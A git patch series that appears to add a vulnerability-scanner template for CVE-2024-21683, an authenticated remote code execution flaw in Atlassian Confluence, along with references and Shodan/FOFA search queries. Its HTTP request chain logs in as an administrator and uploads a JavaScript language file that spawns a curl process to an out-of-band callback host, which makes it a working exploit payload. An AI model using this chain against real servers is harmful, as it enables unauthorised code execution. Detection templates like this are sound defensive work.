From 809df087260350d00d8491bca448bd2dcd28b957 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Sat, 25 May 2024 02:52:59 +0530 Subject: [PATCH 1/4] Create CVE-2024-21683.yaml --- http/cves/2024/CVE-2024-21683.yaml | 64 ++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 http/cves/2024/CVE-2024-21683.yaml diff --git a/http/cves/2024/CVE-2024-21683.yaml b/http/cves/2024/CVE-2024-21683.yaml new file mode 100644 index 0000000000..690ddc2f10 --- /dev/null +++ b/http/cves/2024/CVE-2024-21683.yaml @@ -0,0 +1,64 @@ +id: CVE-2024-21683 + +info: + name: Atlassian Confluence Data Center and Server - Remote Code Execution + author: pdresearch + severity: high + description: | + Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X (affected versions). This issue allows authenticated attackers to execute arbitrary code. + reference: + - https://confluence.atlassian.com/security/security-bulletin-may-21-2024-1387867145.html + - https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated + - https://nvd.nist.gov/vuln/detail/CVE-2024-21683 + classification: + cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 8.3 + cve-id: CVE-2024-21683 + cwe-id: CWE-78 + tags: cve,cve2024,atlassian,confluence,rce,authenticated + +variables: + username: "{{username}}" + password: "{{password}}" + +http: + - raw: + - | + POST /dologin.action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + os_username={{username}}&os_password={{password}}&login=Log+in&os_destination= + + - | + POST /doauthenticate.action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-Atlassian-Token: no-check + + password={{password}}&authenticate=Confirm&destination=%2Fadmin%2Fplugins%2Fnewcode%2Faddlanguage.action + + - | + POST /admin/plugins/newcode/addlanguage.action HTTP/1.1 + Host: {{Hostname}} + X-Atlassian-Token: no-check + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFcBwsDjo5LkYWGWE + + ------WebKitFormBoundaryFcBwsDjo5LkYWGWE + Content-Disposition: form-data; name="languageFile";filename="{{randstr}}.js" + Content-type: text/javascript + + new java.lang.ProcessBuilder["(java.lang.String[])"](["curl","{{interactsh-url}}"]).start() + ------WebKitFormBoundaryFcBwsDjo5LkYWGWE + Content-Disposition: form-data; name="newLanguageName" + + {{randstr}} + ------WebKitFormBoundaryFcBwsDjo5LkYWGWE-- + + matchers: + - type: dsl + dsl: + - status_code_1 == 302 && status_code_2 == 302 + - contains(interactsh_protocol, 'dns') + - contains(body_3, "confluence") + condition: and From cf924bb19fc94be4bb12158fb8d43f310ff42605 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 27 May 2024 14:03:39 +0530 Subject: [PATCH 2/4] minor update --- http/cves/2024/CVE-2024-21683.yaml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-21683.yaml b/http/cves/2024/CVE-2024-21683.yaml index 690ddc2f10..7ae1b1723f 100644 --- a/http/cves/2024/CVE-2024-21683.yaml +++ b/http/cves/2024/CVE-2024-21683.yaml @@ -10,12 +10,16 @@ info: - https://confluence.atlassian.com/security/security-bulletin-may-21-2024-1387867145.html - https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated - https://nvd.nist.gov/vuln/detail/CVE-2024-21683 + - https://confluence.atlassian.com/pages/viewpage.action?pageId=1387867145 + - https://jira.atlassian.com/browse/CONFSERVER-95832 classification: cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 8.3 cve-id: CVE-2024-21683 cwe-id: CWE-78 - tags: cve,cve2024,atlassian,confluence,rce,authenticated + epss-score: 0.00043 + epss-percentile: 0.0866 + tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive variables: username: "{{username}}" From 7b0e556283b0e98ee953777f2edf3330e691d574 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 27 May 2024 14:06:22 +0530 Subject: [PATCH 3/4] added metadata --- http/cves/2024/CVE-2024-21683.yaml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/http/cves/2024/CVE-2024-21683.yaml b/http/cves/2024/CVE-2024-21683.yaml index 7ae1b1723f..08f731727f 100644 --- a/http/cves/2024/CVE-2024-21683.yaml +++ b/http/cves/2024/CVE-2024-21683.yaml @@ -19,6 +19,9 @@ info: cwe-id: CWE-78 epss-score: 0.00043 epss-percentile: 0.0866 + metadata: + shodan-query: product:"Confluence" + verified: true tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive variables: From 4673efd298002300b8d32f59d6153ead908ab166 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 27 May 2024 14:06:57 +0530 Subject: [PATCH 4/4] fofa update --- http/cves/2024/CVE-2024-21683.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-21683.yaml b/http/cves/2024/CVE-2024-21683.yaml index 08f731727f..3be7e486e6 100644 --- a/http/cves/2024/CVE-2024-21683.yaml +++ b/http/cves/2024/CVE-2024-21683.yaml @@ -20,7 +20,7 @@ info: epss-score: 0.00043 epss-percentile: 0.0866 metadata: - shodan-query: product:"Confluence" + fofa-query: app="ATLASSIAN-Confluence" verified: true tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive